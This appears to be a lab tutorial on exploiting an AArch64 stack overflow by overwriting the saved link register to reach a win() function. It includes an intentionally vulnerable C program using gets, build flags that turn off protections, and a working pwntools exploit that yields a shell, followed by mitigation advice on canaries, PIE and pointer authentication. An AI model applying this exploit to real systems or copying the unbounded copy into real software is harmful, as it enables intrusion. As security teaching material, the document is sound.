ARM64 Exploitation: the Link Register and ret2win
On AArch64 the return address lives in a register, not on the stack — until a non-leaf function saves it. Build the ARM ret2win in a lab and see where the saved link register sits.
This is the first walkthrough in the ARM64 Exploitation area. Everything in the x86-64 series — ret2win, ROP, ret2libc — has an ARM counterpart, but the mechanics differ in one structural way that shapes everything else: the return address lives in a register. This guide builds the ARM ret2win and shows exactly where the saved link register sits.
Your own binary, disposable lab. See the lab rules. On x86 hosts, cross-compile and run under QEMU as noted above.
The AArch64 register model
Arguments go in x0–x7, the return value in x0. The registers that matter for control flow:
| Register | Role |
|---|---|
x0–x7 | Function arguments / return value |
x19–x28 | Callee-saved (preserved across calls) |
x29 | Frame pointer (fp) |
x30 | Link register (lr) — the return address |
sp | Stack pointer (must stay 16-byte aligned) |
pc | Program counter |
bl func sets x30 = <address after the bl> and branches. ret branches to x30. There is no return address on the stack — until a function needs to make its own calls.
Leaf vs non-leaf: where the return address lands
A leaf function calls nothing, so it never disturbs x30; a buffer overflow in one cannot reach a saved return address (there is none). A non-leaf function must preserve x30 across the calls it makes, so its prologue saves the frame pointer and link register to the stack:
stp x29, x30, [sp, #-0x50]! ; save fp + lr, allocate frame
... ; body, including local buffers
ldp x29, x30, [sp], #0x50 ; restore fp + lr
ret ; branch to x30 (now attacker-controlled?)
That saved x30 sits above the locals, so an overflow overwrites it, and the epilogue reloads the corrupted value straight into x30 before ret:
- ◀ rsp
buf[64]local buffer the overflow starts in saved x29frame pointersaved x30 (lr)return address — the overwrite target
Overwrite the saved x30, and after ret the CPU jumps wherever you chose.
The target
/* vuln.c — AArch64. win() is never called; vuln() is non-leaf (calls puts/gets). */
#include <stdio.h>
#include <stdlib.h>
void win(void) {
puts("[+] control-flow hijacked on AArch64");
system("/bin/sh");
}
void vuln(void) {
char buf[64];
puts("Name?");
gets(buf); /* the bug (CWE-121) */
printf("Hello, %s\n", buf);
}
int main(void) { setvbuf(stdout, NULL, _IONBF, 0); vuln(); return 0; }
Build for AArch64 with mitigations off (no canary, no PIE, and — crucially for ARM — no pointer authentication, covered in guide 3):
aarch64-linux-gnu-gcc -fno-stack-protector -no-pie \
-mbranch-protection=none -O0 -g -o vuln vuln.c
Finding the offset and jumping to win()
pwntools drives QEMU and knows the AArch64 layout. The cyclic method is unchanged, only context.arch differs:
# exploit.py
from pwn import *
context.binary = elf = ELF("./vuln") # sets context.arch = 'aarch64'
# 1) offset to the saved lr
io = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./vuln"])
io.sendlineafter(b"Name?\n", cyclic(200, n=8))
io.wait()
off = cyclic_find(io.corefile.read(io.corefile.sp, 8), n=8)
log.success("offset to saved lr: %d", off) # 72 = 64 buf + 8 saved x29
# 2) overwrite the saved lr with win()
payload = flat({72: p64(elf.symbols["win"])})
io = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./vuln"])
io.sendlineafter(b"Name?\n", payload)
io.interactive()
$ python3 exploit.py
[+] offset to saved lr: 72
[*] Switching to interactive mode
[+] control-flow hijacked on AArch64
$ id
uid=1000(lab) gid=1000(lab)
The ldp in vuln's epilogue loaded our value into x30; ret branched to win. Note AArch64's strict 16-byte stack alignment: if win misbehaves, ensure sp stays aligned — the ARM analogue of the x86 movaps issue.
Turn the mitigations back on
| Mitigation | Effect on ARM ret2win |
|---|---|
Stack canary (-fstack-protector-strong) | Detects the overflow before the epilogue restores x30 |
| PIE + ASLR | Randomizes win(); a blind jump needs a leak |
PAC (-mbranch-protection=pac-ret) | Signs the saved x30; a forged return fails authentication — see guide 3 |
PAC is the ARM-specific one and the reason this area exists: on a PAC-enabled build, overwriting the saved x30 is not enough, because the epilogue authenticates it before ret.
What this teaches a defender
- "The return address is in a register" is not a mitigation. It only protects leaf functions. Every function that makes a call spills
lrto the stack, where an overflow reaches it. Do not assume AArch64 is inherently safe from stack smashing. - Enable pointer authentication.
-mbranch-protection=pac-ret(orstandard) is the single highest-value flag on modern ARM, and it targets exactly this overwrite. Confirm your build actually emitspaciasp/autiasp. - The bug is still one unbounded
gets. Architecture changes the exploitation mechanics, not the root cause — bound the copy, per stack buffer overflows.
Key takeaways
- AArch64 keeps the return address in
x30(lr);blsets it,retbranches to it. - Leaf functions have no saved return address to overwrite; non-leaf functions spill
x29/x30to the stack, where an overflow reaches the savedlr. - The ret2win is the same shape as x86: find the offset, overwrite the saved
lr, jump towin()— mind 16-bytespalignment. - Canary, PIE and especially PAC each break a different step; PAC authenticates the saved
lrbeforeret.
Next: ROP on ARM64, where gadgets end in ret and the chain is threaded through the link register.